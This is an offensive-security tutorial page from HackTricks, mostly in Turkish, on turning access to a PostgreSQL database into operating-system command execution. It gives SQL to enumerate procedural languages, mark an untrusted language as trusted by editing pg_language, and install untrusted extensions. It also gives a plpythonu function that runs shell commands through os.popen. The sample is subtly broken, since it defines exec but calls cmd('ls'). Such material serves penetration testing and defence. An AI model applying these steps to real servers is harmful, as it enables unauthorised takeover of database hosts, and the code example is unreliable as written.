RCE with PostgreSQL Languages

Reading time: 6 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

PostgreSQL Dilleri

Erişim sağladığınız PostgreSQL veritabanında kötüye kullanabileceğiniz farklı betik dilleri yüklü olabilir ve bunları rastgele kod çalıştırmak için kullanabilirsiniz.

Onları çalıştırabilirsiniz:

sql
\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

PostgreSQL'de kurabileceğiniz çoğu betik dili 2 çeşide sahiptir: güvenilir ve güvensiz. Güvensiz olanların adı "u" ile biter ve kod çalıştırmanıza ve diğer ilginç işlevleri kullanmanıza izin veren versiyonlardır. Kurulduğunda ilginç olan diller şunlardır:

  • plpythonu
  • plpython3u
  • plperlu
  • pljavaU
  • plrubyu
  • ... (güvensiz bir versiyon kullanan başka herhangi bir programlama dili)

warning

Eğer ilginç bir dilin kurulu ama PostgreSQL tarafından güvensiz olduğunu bulursanız (lanpltrusted false ise) PostgreSQL tarafından herhangi bir kısıtlama uygulanmaması için aşağıdaki satırla güvenilir hale getirmeyi deneyebilirsiniz:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# pg_language tablosu üzerindeki izinlerinizi kontrol etmek için
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

caution

Eğer bir dili göremiyorsanız, onu yüklemeyi deneyebilirsiniz (süperadmin olmanız gerekir):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Güvenli versiyonların "güvensiz" olarak derlenmesinin mümkün olduğunu unutmayın. Örneğin bunu kontrol edin. Bu nedenle, yalnızca güvenilir olanı bulsanız bile kod çalıştırmayı deneyip denemeye değer.

plpythonu/plpython3u

sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Aşağıdaki sayfayı kontrol edin:

PL/pgSQL Password Bruteforce

C

Aşağıdaki sayfayı kontrol edin:

RCE with PostgreSQL Extensions

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin